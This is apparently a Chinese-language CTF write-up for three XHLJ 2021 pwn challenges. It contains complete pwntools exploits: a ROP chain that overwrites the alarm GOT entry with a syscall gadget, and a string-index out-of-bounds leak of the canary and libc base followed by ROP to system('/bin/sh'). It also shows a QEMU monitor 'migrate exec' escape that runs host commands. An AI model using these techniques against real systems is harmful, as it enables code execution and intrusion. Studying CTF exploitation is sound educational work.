XHLJ 2021 PWN

Blind

分析的时候完全想岔了,往dl resolve的方向做了结果完全做不出来()

考虑alarm(),有一个特点

1
2
3
4
gef➤  x/32i alarm
=> 0x7ffff7eb5d90 <alarm>: mov eax,0x25
0x7ffff7eb5d95 <alarm+5>: syscall
0x7ffff7eb5d97 <alarm+7>: cmp rax,0xfffffffffffff001

第二条指令就是syscall,所以我们可以爆破最后一个字节,有256种可能,成功即可直接用GOT表跳转到syscall,然后,又可以利用read()的返回值是写入的字节数来控制rax寄存器,这样就能实现任意syscall了,剩下的内容都很容易,给的栈溢出空间很多,很容易构造 ROP Chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

sh = process('./blind')
# sh = remote('82.157.6.165', 59900)
elf = ELF('./blind')

pop_rsi_r15_ret = 0x00000000004007c1
pop_rdi_ret = 0x00000000004007c3
call_read = 0x40074C
pop_rbx_rbp_r12_r13_r14_r15 = 0x4007BA

offset = 0x50

log.info('bss_addr: ' + hex(elf.bss()))
log.info('alarm got: ' + hex(elf.got['alarm']))
log.info('alarm plt: ' + hex(elf.plt['alarm']))

payload = b'A'*offset
payload += p64(0xdeadbeef)

payload += p64(pop_rsi_r15_ret)
payload += p64(elf.bss()+0x100)
payload += p64(0xdeadbeef) # read /bin/sh
payload += p64(elf.plt['read'])

payload += p64(pop_rsi_r15_ret)
payload += p64(elf.got['alarm']) # alarm -> syscall
payload += p64(0xdeadbeef)
payload += p64(elf.plt['read'])

payload += p64(pop_rsi_r15_ret)
payload += p64(elf.bss()+0x150) # read 0x3b
payload += p64(0xdeadbeef)
payload += p64(elf.plt['read'])

payload += p64(pop_rbx_rbp_r12_r13_r14_r15) # ret2init
payload += p64(0)
payload += p64(0)
payload += p64(elf.got['alarm']) # call alarm()
payload += p64(0)
payload += p64(0)
payload += p64(elf.bss()+0x100)

payload += p64(0x4007A0)

payload += p64(pop_rdi_ret)
payload += p64(elf.bss()+0x100)

payload += p64(elf.plt['alarm'])

sleep(3)
sh.sendline(payload)

sleep(0.5)
sh.sendline(b'/bin/sh\x00')

sleep(0.5)
sh.send(b'\xFF') # brute force

sleep(0.5)
sh.send(b'a'*0x3b)

sleep(0.5)

sh.sendline(b'uname -a')

sh.interactive()

easykernel

不知道是有意的还是疏忽,start.sh里没有重定向monitor…也就是说直接ctrl A C就能进入qemu monitor,然后直接挂载rootfs.img读flag就完事了()用migrate exec基本什么操作都可以做了,需要重定向一下输出。

1
2
3
(qemu) migrate "exec:ls -al 1>&2"
total 12168
drwx------ 2 kali kali 4096 Nov 23 11:25 .

string_go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall lative_func(__int64 a1)
{
bool v1; // al
__int64 v2; // rax
size_t v3; // r12
const void *v4; // rbx
void *v5; // rax
int v7; // [rsp+1Ch] [rbp-A4h]
char v8; // [rsp+20h] [rbp-A0h]
char v9; // [rsp+40h] [rbp-80h]
char v10; // [rsp+60h] [rbp-60h]
char v11; // [rsp+80h] [rbp-40h]
unsigned __int64 v12; // [rsp+A8h] [rbp-18h]

v12 = __readfsqword(0x28u);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v9);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v10);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v11);
std::operator<<<std::char_traits<char>>(&std::cout, ">>> ");
std::istream::operator>>(&std::cin, &v7);
split((__int64)&v8, (__int64)&v10);
v1 = !std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,std::allocator<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>>::size(&v8)
&& v7 <= 7;
if ( v1 )
{
std::operator<<<std::char_traits<char>>(&std::cout, ">>> ");
std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &v10);
std::operator<<<std::char_traits<char>>(&std::cout, ">>> ");
v2 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](&v10, v7);
std::operator>><char,std::char_traits<char>>(&std::cin, v2);
}
std::operator<<<char,std::char_traits<char>,std::allocator<char>>(&std::cout, &v10);
std::operator<<<std::char_traits<char>>(&std::cout, ">>> ");
std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &v9);
v3 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(&v9, &v9);
v4 = (const void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&v9);
v5 = (void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&v11);
memcpy(v5, v4, v3);
std::vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,std::allocator<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>>::~vector(&v8);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v11);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v10);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v9);
return a1;
}

注意

1
v2 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](&v10, v7);

中的v7是可以被控制的,对于一个小字符串,std::string会把内容也存在栈上,如果v7是负数,就可以修改掉std::string结构体的size,在后面std::cout的时候泄漏出栈上的内容,可以得到canary,同时,也可以得到返回__libc_start_main的地址,这就可以泄漏出libc的基址了。

1
2
3
4
5
std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &v9);
n_bytes = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(&v9, &v9);
v4 = (const void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&v9);
v5 = (void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&v11);
memcpy(v5, v4, n_bytes);

最后这部分中的n_bytes,v4都可以控制,v5在栈上,通过后面的memcpy完成ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from time import sleep

sh = process('string_go')

#gdb.attach(sh)

#input()
sh.recvuntil(b'>>> ')
sh.sendline(b'1+1+1')
sh.recvuntil(b'>>> ')
sh.sendline(b'-1')
sh.recvuntil(b'>>> ')
sh.sendline(b'\x01')
sh.recvuntil(b'>>> ')
sh.sendline(b'1')
sleep(0.5)
for i in range(7):
r = sh.recv(8)

r = sh.recv(8)
canary = u64(r.ljust(8, b'\x00'))
log.success('canary: ' + hex(canary))
sh.recv(3*0x8)
ret = sh.recv(8)
ret = u64(ret.ljust(8, b'\x00'))
log.success('ret: ' + hex(ret))
pie = ret - 0x254D
log.success('pie: ' + hex(pie))
sh.recv(19*0x8)
ret_addr_libc = sh.recv(8)
ret_addr_libc = u64(ret_addr_libc.ljust(8, b'\x00'))
log.success('ret_addr_libc: ' + hex(ret_addr_libc))
libc_base = ret_addr_libc - 0x1e4a
log.success('libc_base: ' + hex(libc_base))

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

shaddr = libc_base + next(libc.search(b'/bin/sh'))
systemaddr = libc.symbols['system'] + libc_base

log.info('sh: ' + hex(shaddr))
log.info('system: ' + hex(systemaddr))

sleep(3)

payload = p64(canary) * 7
payload += p64(pie+0x3cf3)
payload += p64(shaddr)
payload += p64(systemaddr)
sh.sendline(payload)

sh.interactive()